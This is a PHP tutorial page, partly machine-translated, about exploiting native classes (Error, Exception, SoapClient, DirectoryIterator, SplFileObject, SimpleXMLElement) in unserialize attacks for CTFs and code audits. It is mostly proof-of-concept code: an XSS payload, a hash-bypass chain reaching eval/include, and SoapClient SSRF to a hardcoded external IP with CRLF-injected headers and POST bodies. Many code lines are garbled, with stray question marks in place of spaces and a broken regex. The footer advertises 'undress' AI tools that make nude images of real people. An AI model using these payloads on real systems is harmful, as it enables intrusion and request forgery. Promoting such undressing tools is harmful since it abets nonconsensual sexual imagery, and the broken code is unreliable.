In-depth understanding of PHP deserializing native classes
May 17, 2022 am 11:56 AMThis article brings you relevant knowledge about PHP, which mainly introduces the use of deserialized native classes. If there is a deserialization function in code audit or ctf point, but it cannot construct a complete pop chain, so how should we break the situation at this time? Let’s take a look at it, I hope it will be helpful to everyone.
Recommended study: "PHP Video Tutorial"
A brief analysis of the use of PHP deserialization native classes
If there is a deserialization function in code audit or ctf, but a complete pop chain cannot be constructed, how should we break the situation? We can try to start with PHP native classes. Some PHP native classes have some built-in magic methods. If we cleverly construct controllable parameters, trigger and use their built-in magic methods, it is possible to achieve some of the goals we want.
1. Common magic methods
__wakeup()?//執(zhí)行unserialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù) __sleep()?//執(zhí)行serialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù) __destruct()?//對(duì)象被銷毀時(shí)觸發(fā) __call()?//在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __callStatic()?//在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __get()?//用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)或者不存在這個(gè)鍵都會(huì)調(diào)用此方法 __set()?//用于將數(shù)據(jù)寫(xiě)入不可訪問(wèn)的屬性 __isset()?//在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā) __unset()?//在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā) __toString()?//把對(duì)象當(dāng)作字符串使用時(shí)觸發(fā) __invoke()?//當(dāng)嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)
2. Magic methods in native classes
We use the following script to traverse it Magic methods in all native classes
<?php $classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } }}
3. Utilization of some common native classes
Error/Exception
Error Is the base class for all PHP internal error classes. (PHP 7, 8)
**Error::__toString ** The string expression of error
Returns the string expression of Error.
Exception is the base class for all user-level exceptions. (PHP 5, 7, 8)
**Exception::__toString ** Convert the exception object to a string
Returns the exception converted to the string (string) type.
Class attribute
message Error message content
code Error code
file The file name that throws the error
line The number of lines that throws the error
XSS
__toString method will return the string form of error or exception, which contains the parameters we input. If we construct a string of xss code and combine it with echo rendering, the reflected xss vulnerability will be triggered
Example:
<?php $a = unserialize($_GET['a']);echo $a;
POC:
<?php $a = new Error("<script>alert('xss')");$b?=?serialize($a);echo?urlencode($b);
hash bypass
Look at a question first
[2020 Geek Challenge]Greatphp
<?phperror_reporting (0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){ ???????????if(!preg_match("/\syc,?$match)){ ???????????????eval($this->syc); ???????????}?else?{ ???????????????die("Try?Hard?!!"); ???????????} ????????} ????}}if?(isset($_GET['great'])){ ????unserialize($_GET['great']);}?else?{ ????highlight_file(__FILE__);}
Needs to bypass two hash strong comparisons, and ultimately needs to construct eval code execution
Obviously the normal method is It doesn't work, but it can be bypassed through native classes
Similarly, when the md5() and sha1() functions process objects, the __tostring method will be automatically called
Let's take a brief look at it first. Output
<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3); $d=new Exception("payload",4); echo $a."<br>"; echo?$b."<br>"; echo?$c."<br>"; echo?$d;
It can be found that the information returned by these two native classes is exactly the same except for the line number. Using this, we can try to bypass the hash function. What needs to be paid attention to Yes, the two incoming objects must be placed on the same line
So we can conduct a simple test and find that using this method can bypass hash strong (weak) function comparison
<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)){ echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等";}
Based on these knowledge points, we can easily construct the payload
??<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){ ???if(!preg_match("/\syc,?$match)){ ???eval($this->syc); ???}?else?{ ???die("Try?Hard?!!"); ???} ??? } }}$str?=?"?>=include~".urldecode("%D0%99%93%9E%98")."?>";//兩次取反繞過(guò)正則$a=new?Error($str,1); $b=new?Error($str,2); $c?=?new?SYCLOVER();$c->syc?=?$a;$c->lover?=?$b; echo(urlencode(serialize($c)));?>
SoapClient
SoapClient is a class specially used to access web services. It can provide a PHP client that accesses Web services based on the SOAP protocol. It can create soap data messages and interact with the wsdl interface.
The soap extension module is closed by default and needs to be manually turned on when using it
SoapClient::__call —Call SOAP functions (PHP 5, 7, 8)
Usually, SOAP functions can be called as methods of the SoapClient object
SSRF
Constructor:
public?SoapClient?::?SoapClient(mixed?$wsdl?[,array?$options?]) 第一個(gè)參數(shù)是用來(lái)指明是否是wsdl模式,如果為`null`,那就是非wsdl模式。 第二個(gè)參數(shù)為一個(gè)數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設(shè)置location和uri選項(xiàng),其中l(wèi)ocation是要將請(qǐng)求發(fā)送到的SOAP服務(wù)器的URL,而uri?是SOAP服務(wù)的目標(biāo)命名空間。
What is soap
SOAP?是基于?XML?的簡(jiǎn)易協(xié)議,是用在分散或分布的環(huán)境中交換信息的簡(jiǎn)單的協(xié)議,可使應(yīng)用程序在?HTTP?之上進(jìn)行信息交換 SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL?用來(lái)描述如何訪問(wèn)具體的接口,?UDDI用來(lái)管理,分發(fā),查詢webService?,SOAP(簡(jiǎn)單對(duì)象訪問(wèn)協(xié)議)是連接或Web服務(wù)或客戶端和Web服務(wù)之間的接口。 其采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。
We construct a payload, the first parameter is NULL, and the location of the second parameter is set to the vps address
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333',? 'uri'?=>'uri', 'user_agent'=>'111111')); $b?=?serialize($a); echo?$b; $c?=?unserialize($b); $c->a();
Listen to the 2333 port of the vps. As shown in the figure below, SSRF is successfully triggered. The vps receives the request information
and you can see that both SOAPAction and user_agent are controllable
During local testing, it was found that when using this built-in class (i.e. soap protocol) to request a port where a service exists, an error will be reported immediately, and when accessing a port where the service does not exist (unoccupied), it will wait for a period of time. Time error reporting can be used to detect intranet assets.
If you cooperate with the CRLF vulnerability, you can also use SoapClient to control other parameters or post to send data. For example: HTTP protocol to attack Redis
CRLF knowledge expansion
HTTP報(bào)文的結(jié)構(gòu):狀態(tài)行和首部中的每行以CRLF結(jié)束,首部與主體之間由一空行分隔。 CRLF注入漏洞,是因?yàn)閃eb應(yīng)用沒(méi)有對(duì)用戶輸入做嚴(yán)格驗(yàn)證,導(dǎo)致攻擊者可以輸入一些惡意字符。 攻擊者一旦向請(qǐng)求行或首部中的字段注入惡意的CRLF(\r\n),就能注入一些首部字段或報(bào)文主體,并在響應(yīng)中輸出。
By combining CRLF, we can use SoapClient CRLF to do more things, such as inserting custom cookies,
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333', ????'uri'?=>'uri', ????'user_agent'=>"111111\r\nCookie:?PHPSESSION=dasdasd564d6as4d6a")); ????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();
發(fā)送POST的數(shù)據(jù)包,這里需要將Content-Type設(shè)置為application/x-www-form-urlencoded,我們可以通過(guò)添加兩個(gè)\r\n來(lái)將原來(lái)的Content-Type擠下去,自定義一個(gè)新的Content-Type
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333', ????'uri'?=>'uri', ????'user_agent'=>"111111\r\nContent-Type:?application/x-www-form-urlencoded\r\nX-Forwarded-For:?127.0.0.1\r\nCookie:?PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length:?10\r\n\r\npostdata")); ????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();
看一道ctfshow上的題,完美利用上述知識(shí)點(diǎn)
$xff?=?explode(',',?$_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip?=?array_pop($xff);?//獲取xff頭 if($ip!=='127.0.0.1'){ ????die('error'); }else{ ????$token?=?$_POST['token']; ????if($token=='ctfshow'){ ????????file_put_contents('flag.txt',$flag); ????} }
poc:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' =>?$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type:?application/x-www-form-urlencoded'.'^^Content-Length:?'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>?"ssrf")); $a?=?serialize($b); $a?=?str_replace('^^',"\r\n",$a); echo?urlencode($a); ?>
DirectoryIterator/FilesystemIterator
DirectoryIterator類提供了一個(gè)簡(jiǎn)單的接口來(lái)查看文件系統(tǒng)目錄的內(nèi)容。
DirectoryIterator::__toString 獲取字符串形式的文件名 (PHP 5,7,8)
目錄遍歷
使用此內(nèi)置類的__toString方法結(jié)合glob或file協(xié)議,即可實(shí)現(xiàn)目錄遍歷
例如:
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
FilesystemIterator繼承于DirectoryIterator,兩者作用和用法基本相同,區(qū)別為FilesystemIterator會(huì)顯示文件的完整路徑,而DirectoryIterator只顯示文件名
因?yàn)榭梢耘浜鲜褂胓lob偽協(xié)議(查找匹配的文件路徑模式),所以可以繞過(guò)open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny
來(lái)禁止一些類的反序列化,很不幸的是這兩個(gè)原生類都在禁止名單當(dāng)中
SplFileObject
SplFileObject 類為單個(gè)文件的信息提供了一個(gè)面向?qū)ο蟮母呒?jí)接口
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
文件讀取
SplFileObject::__toString — 以字符串形式返回文件的路徑
<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){ echo($a); }*/
如果沒(méi)有遍歷的話只能讀取第一行,且受到open_basedir
影響
SimpleXMLElement
解析XML 文檔中的元素。 (PHP 5、PHP 7、PHP 8)
SimpleXMLElement::__construct — 創(chuàng)建一個(gè)新的 SimpleXMLElement 對(duì)象
XXE
我們查看一下其參數(shù):
根據(jù)官方文檔,發(fā)現(xiàn)當(dāng)?shù)谌齻€(gè)參數(shù)為True時(shí),即可實(shí)現(xiàn)遠(yuǎn)程xml文件載入,第二個(gè)參數(shù)的常量值設(shè)置為2即可。
利用可參考賽題:[SUCTF 2018]Homework
ReflectionMethod
獲取注釋內(nèi)容
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 獲取注釋內(nèi)容
由該原生類中的getDocComment方法可以訪問(wèn)到注釋的內(nèi)容
同時(shí)可利用的原生類還有ZipArchive– 刪除文件等等,不在敘述
推薦學(xué)習(xí):《PHP視頻教程》
The above is the detailed content of In-depth understanding of PHP deserializing native classes. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undress AI Tool
Undress images for free

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

User voice input is captured and sent to the PHP backend through the MediaRecorder API of the front-end JavaScript; 2. PHP saves the audio as a temporary file and calls STTAPI (such as Google or Baidu voice recognition) to convert it into text; 3. PHP sends the text to an AI service (such as OpenAIGPT) to obtain intelligent reply; 4. PHP then calls TTSAPI (such as Baidu or Google voice synthesis) to convert the reply to a voice file; 5. PHP streams the voice file back to the front-end to play, completing interaction. The entire process is dominated by PHP to ensure seamless connection between all links.

The core method of building social sharing functions in PHP is to dynamically generate sharing links that meet the requirements of each platform. 1. First get the current page or specified URL and article information; 2. Use urlencode to encode the parameters; 3. Splice and generate sharing links according to the protocols of each platform; 4. Display links on the front end for users to click and share; 5. Dynamically generate OG tags on the page to optimize sharing content display; 6. Be sure to escape user input to prevent XSS attacks. This method does not require complex authentication, has low maintenance costs, and is suitable for most content sharing needs.

To realize text error correction and syntax optimization with AI, you need to follow the following steps: 1. Select a suitable AI model or API, such as Baidu, Tencent API or open source NLP library; 2. Call the API through PHP's curl or Guzzle and process the return results; 3. Display error correction information in the application and allow users to choose whether to adopt it; 4. Use php-l and PHP_CodeSniffer for syntax detection and code optimization; 5. Continuously collect feedback and update the model or rules to improve the effect. When choosing AIAPI, focus on evaluating accuracy, response speed, price and support for PHP. Code optimization should follow PSR specifications, use cache reasonably, avoid circular queries, review code regularly, and use X

1. Maximizing the commercial value of the comment system requires combining native advertising precise delivery, user paid value-added services (such as uploading pictures, top-up comments), influence incentive mechanism based on comment quality, and compliance anonymous data insight monetization; 2. The audit strategy should adopt a combination of pre-audit dynamic keyword filtering and user reporting mechanisms, supplemented by comment quality rating to achieve content hierarchical exposure; 3. Anti-brushing requires the construction of multi-layer defense: reCAPTCHAv3 sensorless verification, Honeypot honeypot field recognition robot, IP and timestamp frequency limit prevents watering, and content pattern recognition marks suspicious comments, and continuously iterate to deal with attacks.

PHP ensures inventory deduction atomicity through database transactions and FORUPDATE row locks to prevent high concurrent overselling; 2. Multi-platform inventory consistency depends on centralized management and event-driven synchronization, combining API/Webhook notifications and message queues to ensure reliable data transmission; 3. The alarm mechanism should set low inventory, zero/negative inventory, unsalable sales, replenishment cycles and abnormal fluctuations strategies in different scenarios, and select DingTalk, SMS or Email Responsible Persons according to the urgency, and the alarm information must be complete and clear to achieve business adaptation and rapid response.

PHP does not directly perform AI image processing, but integrates through APIs, because it is good at web development rather than computing-intensive tasks. API integration can achieve professional division of labor, reduce costs, and improve efficiency; 2. Integrating key technologies include using Guzzle or cURL to send HTTP requests, JSON data encoding and decoding, API key security authentication, asynchronous queue processing time-consuming tasks, robust error handling and retry mechanism, image storage and display; 3. Common challenges include API cost out of control, uncontrollable generation results, poor user experience, security risks and difficult data management. The response strategies are setting user quotas and caches, providing propt guidance and multi-picture selection, asynchronous notifications and progress prompts, key environment variable storage and content audit, and cloud storage.

PHPisstillrelevantinmodernenterpriseenvironments.1.ModernPHP(7.xand8.x)offersperformancegains,stricttyping,JITcompilation,andmodernsyntax,makingitsuitableforlarge-scaleapplications.2.PHPintegrateseffectivelyinhybridarchitectures,servingasanAPIgateway

Select the appropriate AI voice recognition service and integrate PHPSDK; 2. Use PHP to call ffmpeg to convert recordings into API-required formats (such as wav); 3. Upload files to cloud storage and call API asynchronous recognition; 4. Analyze JSON results and organize text using NLP technology; 5. Generate Word or Markdown documents to complete the automation of meeting records. The entire process needs to ensure data encryption, access control and compliance to ensure privacy and security.
